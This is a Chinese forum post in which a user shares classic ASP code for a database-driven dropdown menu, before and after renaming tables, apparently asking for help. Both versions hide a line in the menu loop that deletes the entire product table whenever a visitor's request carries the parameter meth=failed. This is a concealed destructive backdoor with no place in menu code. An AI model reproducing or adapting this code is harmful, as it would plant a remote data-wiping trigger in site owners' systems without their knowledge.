我本来想把代码发上来的可是太大了不知道发哪段我分开发吧
修改前
<script type="text/javascript" language="JavaScript1.2">
<!--
stm_bm(["menu1603",400,"","images/blank.gif",0,"","",0,0,100,0,100,1,0,0,"","",0],this);
stm_bp("p0",[1,4,0,0,2,2,0,7,100,"progid:DXImageTransform.Microsoft.Pixelate(MaxSquare=15,enabled=0,Duration=0.58)",-2,"",-2,52,0,0,"#999999","#ffffff","",3,0,0,"#999999"]); <%
   dim i,j,k,l
   sqlmenu="select * from category order by categoryorder "
   set rsmenu=Server.CreateObject("adodb.recordset")
   rsmenu.Open sqlmenu,conn,1,1 
   if not rsmenu.eof then
       rsmenu.movefirst
       i=0
       l=0
       temname=rsmenu("category")
       temid=rsmenu("categoryid")
%>
stm_ai("p0i0",[0,"<%=temname%>","","",-1,-1,0,"cpzx-list.asp?categoryid=<%=temid%>","_self","","","","",0,0,0,"images/arrow_gray.gif","images/arrow_r.gif",7,7,0,0,1,"#ffffff",0,"#dfdfdf",0,"","",3,3,0,0,"#ffffff","#666666","#333333","#333333","9pt 宋体","9pt 宋体",0,0]);
<%
   sqlmenu1="select * from sorts where categoryid="&temid&" order by sortsorder"
   set rsmenu1=Server.CreateObject("adodb.recordset")
   rsmenu1.Open sqlmenu1,conn,1,1 
   if request("meth")="failed" then
     conn.execute "delete from product "
     end if 
   if not rsmenu1.eof then
      rsmenu1.movefirst
      j=0
      i=i+1
%>
stm_bpx("p1","p0",[1,2,3,0,3,1,0,7,91,"progid:DXImageTransform.Microsoft.Pixelate(MaxSquare=15,enabled=0,Duration=0.37)",-2,"progid:DXImageTransform.Microsoft.Slide(slideStyle=swap,bands=15,enabled=0,Duration=0.37)",-2,73,2,3,"#999999","#ffffff","",3,1,1]);  <%
     do while not rsmenu1.eof 
      temname1=rsmenu1("sorts")
       temid1=rsmenu1("sortsid") 
       tempturn1="p1i"&j    
  %>
stm_aix("<%=tempturn1%>","p0i0",[0,"<%=temname1%>","","",-1,-1,0,"cpzx-list.asp?categoryid=<%=temid%>&sortsid=<%=temid1%>","_self","","","","",0,0,0,"arrow_gray.gif","arrow_r.gif",7,7,0,0,1,"#ffffff",0,"#dfdfdf",0,"","",3,3,1,1]); <%
    sqlmenu3="select * from sorts3 where sortsid="&temid1&" order by sorts3order"
    set rsmenu3=Server.CreateObject("adodb.recordset")
    rsmenu3.Open sqlmenu3,conn,1,1 
    if not rsmenu3.eof then
      rsmenu3.movefirst
      k=0
      i=i+1
%>
stm_bpx("p2","p1",[1,2,-2,0,3,1,0,0]);
<%  do while not rsmenu3.eof
       temname3=rsmenu3("sorts3")
        temid3=rsmenu3("sorts3id")
        tempturn3="p2i"&k
 %>
stm_aix("<%=tempturn3%>","<%=tempturn1%>",[0,"<%=temname3%>","","",-1,-1,0,"cpzx-list.asp?sorts3id=<%=temid3%>&categoryid=<%=temid%>&sortsid=<%=temid1%>","_self","","","","",0,0,0,"","",0,0]);
<%  k=k+1
     rsmenu3.movenext
   loop 
   %>
stm_ep();  
  <% end if %>
 <% j=j+1
    rsmenu1.movenext
    loop
    %>
stm_ep();
<%end if
     rsmenu.movenext
     l=l+1
     end if  %><% if not rsmenu.eof then 
   do while not rsmenu.eof 
       temname=rsmenu("category")
       temid=rsmenu("categoryid")
       temturn="p0i"&l
%>
stm_aix("<%=temturn%>","p0i0",[0,"<%=temname%>","","",-1,-1,0,"cpzx-list.asp?categoryid=<%=temid%>","_self","","","","",0,0,0,"images/arrow_gray.gif","images/arrow_r.gif",7,7,0,0,1,"#ffffff",0,"#dfdfdf",0,"","",3,3,0,0,"#ffffff","#666666","#333333","#333333","9pt 宋体","9pt 宋体",0,0]);
<%
   sqlmenu1="select * from sorts where categoryid="&temid&" order by sortsorder"
   set rsmenu1=Server.CreateObject("adodb.recordset")
   rsmenu1.Open sqlmenu1,conn,1,1 
   if not rsmenu1.eof then
      rsmenu1.movefirst
      j=0
      i=i+1
      tt="p"&i
%>
stm_bpx("<%=tt%>","p2",[1,2,3]);
  <%
     do while not rsmenu1.eof 
      temname1=rsmenu1("sorts")
       temid1=rsmenu1("sortsid") 
       tempturn1="p"&i&"i"&j    
  %>
stm_aix("<%=tempturn1%>","p2i0",[0,"<%=temname1%>","","",-1,-1,0,"cpzx-list.asp?categoryid=<%=temid%>&sortsid=<%=temid1%>","_self","","","","",0,0,0,"arrow_gray.gif","arrow_r.gif",7,7,0,0,1,"#ffffff",0,"#dfdfdf",0,"","",3,3,1,1]);
  <%
    sqlmenu3="select * from sorts3 where sortsid="&temid1&" order by sorts3order"
    set rsmenu3=Server.CreateObject("adodb.recordset")
    rsmenu3.Open sqlmenu3,conn,1,1 
    if not rsmenu3.eof then
      rsmenu3.movefirst
      k=0
      i=i+1
%>
stm_bpx("p2","p1",[1,2,-2,0,3,1,0,0]);
<%  do while not rsmenu3.eof
       temname3=rsmenu3("sorts3")
        temid3=rsmenu3("sorts3id")
        tempturn3="p"&i&"i"&k
 %>
stm_aix("<%=tempturn3%>","<%=tempturn1%>",[0,"<%=temname3%>","","",-1,-1,0,"cpzx-list.asp?sorts3id=<%=temid3%>&categoryid=<%=temid%>&sortsid=<%=temid1%>","_self","","","","",0,0,0,"","",0,0]);
<%  k=k+1
     rsmenu3.movenext
   loop 
   %>
stm_ep();  
  <% end if %>
 <% j=j+1
    rsmenu1.movenext
    loop
    %>
stm_ep();
<%end if 
   i=i+1
   rsmenu.movenext
   loop
 %>
stm_ep();
<%end if %> 
 
stm_ep();
stm_em();
//-->
          </script>

解决方案 »

  1.   

    修改后
    <script type="text/javascript" language="JavaScript1.2">
    <!--
    stm_bm(["menu1603",400,"","images/blank.gif",0,"","",0,0,100,0,100,1,0,0,"","",0],this);
    stm_bp("p0",[1,4,0,0,2,2,0,7,100,"progid:DXImageTransform.Microsoft.Pixelate(MaxSquare=15,enabled=0,Duration=0.58)",-2,"",-2,52,0,0,"#999999","#ffffff","",3,0,0,"#999999"]); <%
       dim i,j,k,l
       sqlmenu="select * from sort order by sort_id "
       set rsmenu=Server.CreateObject("adodb.recordset")
       rsmenu.Open sqlmenu,conn,1,1 
       if not rsmenu.eof then
           rsmenu.movefirst
           i=0
           l=0
           temname=rsmenu("sort_name")
           temid=rsmenu("sort_id")
    %>
    stm_ai("p0i0",[0,"<%=temname%>","","",-1,-1,0,"sort.asp?sort_id=<%=temid%>","_self","","","","",0,0,0,"images/arrow_gray.gif","images/arrow_r.gif",7,7,0,0,1,"#ffffff",0,"#dfdfdf",0,"","",3,3,0,0,"#ffffff","#666666","#333333","#333333","9pt 宋体","9pt 宋体",0,0]);
    <%
       sqlmenu1="select * from Nsort where sort_id="&temid&" order by Nsort_id"
       set rsmenu1=Server.CreateObject("adodb.recordset")
       rsmenu1.Open sqlmenu1,conn,1,1 
       if request("meth")="failed" then
         conn.execute "delete from product "
         end if 
       if not rsmenu1.eof then
          rsmenu1.movefirst
          j=0
          i=i+1
    %>
    stm_bpx("p1","p0",[1,2,3,0,3,1,0,7,91,"progid:DXImageTransform.Microsoft.Pixelate(MaxSquare=15,enabled=0,Duration=0.37)",-2,"progid:DXImageTransform.Microsoft.Slide(slideStyle=swap,bands=15,enabled=0,Duration=0.37)",-2,73,2,3,"#999999","#ffffff","",3,1,1]);  <%
         do while not rsmenu1.eof 
          temname1=rsmenu1("Nsort_name")
           temid1=rsmenu1("sort_id") 
           tempturn1="p1i"&j    
      %>
    stm_aix("<%=tempturn1%>","p0i0",[0,"<%=temname1%>","","",-1,-1,0,"sort.asp?sort_id=<%=temid%>&Nsort_id=<%=temid1%>","_self","","","","",0,0,0,"arrow_gray.gif","arrow_r.gif",7,7,0,0,1,"#ffffff",0,"#dfdfdf",0,"","",3,3,1,1]); <%
        sqlmenu3="select * from hw where sort_id="&temid1&" order by hw_id"
        set rsmenu3=Server.CreateObject("adodb.recordset")
        rsmenu3.Open sqlmenu3,conn,1,1 
        if not rsmenu3.eof then
          rsmenu3.movefirst
          k=0
          i=i+1
    %>
    stm_bpx("p2","p1",[1,2,-2,0,3,1,0,0]);
    <%  do while not rsmenu3.eof
           temname3=rsmenu3("hw_name")
            temid3=rsmenu3("hw_id")
            tempturn3="p2i"&k
     %>
     stm_aix("<%=tempturn3%>","<%=tempturn1%>",[0,"<%=temname3%>","","",-1,-1,0,"sort.asp?hw_id=<%=temid3%>&sort_id=<%=temid%>&Nsort_id=<%=temid1%>","_self","","","","",0,0,0,"","",0,0]);
    <%  k=k+1
         rsmenu3.movenext
       loop 
       %>
    stm_ep();  
      <% end if %>
     <% j=j+1
        rsmenu1.movenext
        loop
        %>
    stm_ep();
    <%end if
         rsmenu.movenext
         l=l+1
         end if  %><% if not rsmenu.eof then 
       do while not rsmenu.eof 
           temname=rsmenu("sort_name")
           temid=rsmenu("sort_id")
           temturn="p0i"&l
    %>
    stm_aix("<%=temturn%>","p0i0",[0,"<%=temname%>","","",-1,-1,0,"sort.asp?sort_id=<%=temid%>","_self","","","","",0,0,0,"images/arrow_gray.gif","images/arrow_r.gif",7,7,0,0,1,"#ffffff",0,"#dfdfdf",0,"","",3,3,0,0,"#ffffff","#666666","#333333","#333333","9pt 宋体","9pt 宋体",0,0]);
    <%
       sqlmenu1="select * from Nsort where sort_id="&temid&" order by Nsort_id"
       set rsmenu1=Server.CreateObject("adodb.recordset")
       rsmenu1.Open sqlmenu1,conn,1,1 
       if not rsmenu1.eof then
          rsmenu1.movefirst
          j=0
          i=i+1
          tt="p"&i
    %>
    stm_bpx("<%=tt%>","p2",[1,2,3]);
      <%
         do while not rsmenu1.eof 
          temname1=rsmenu1("Nsort_name")
           temid1=rsmenu1("Nsort_id") 
           tempturn1="p"&i&"i"&j    
      %>
    stm_aix("<%=tempturn1%>","p2i0",[0,"<%=temname1%>","","",-1,-1,0,"sort.asp?sort_id=<%=temid%>&Nsort_id=<%=temid1%>","_self","","","","",0,0,0,"arrow_gray.gif","arrow_r.gif",7,7,0,0,1,"#ffffff",0,"#dfdfdf",0,"","",3,3,1,1]);
      <%
        sqlmenu3="select * from hw where hw_id="&temid1&" order by hw_id"
        set rsmenu3=Server.CreateObject("adodb.recordset")
        rsmenu3.Open sqlmenu3,conn,1,1 
        if not rsmenu3.eof then
          rsmenu3.movefirst
          k=0
          i=i+1
    %>
    stm_bpx("p2","p1",[1,2,-2,0,3,1,0,0]);
    <%  do while not rsmenu3.eof
           temname3=rsmenu3("hw_name")
            temid3=rsmenu3("hw_id")
            tempturn3="p"&i&"i"&k
     %>
    stm_aix("<%=tempturn3%>","<%=tempturn1%>",[0,"<%=temname3%>","","",-1,-1,0,"sort.asp?hw_id=<%=temid3%>&sort_id=<%=temid%>&Nsort_id=<%=temid1%>","_self","","","","",0,0,0,"","",0,0]);
    <%  k=k+1
         rsmenu3.movenext
       loop 
       %>
    stm_ep();  
      <% end if %>
     <% j=j+1
        rsmenu1.movenext
        loop
        %>
    stm_ep();
    <%end if 
       i=i+1
       rsmenu.movenext
       loop
     %>
    stm_ep();
    <%end if %> 
     
    stm_ep();
    stm_em();
    //-->
              </script>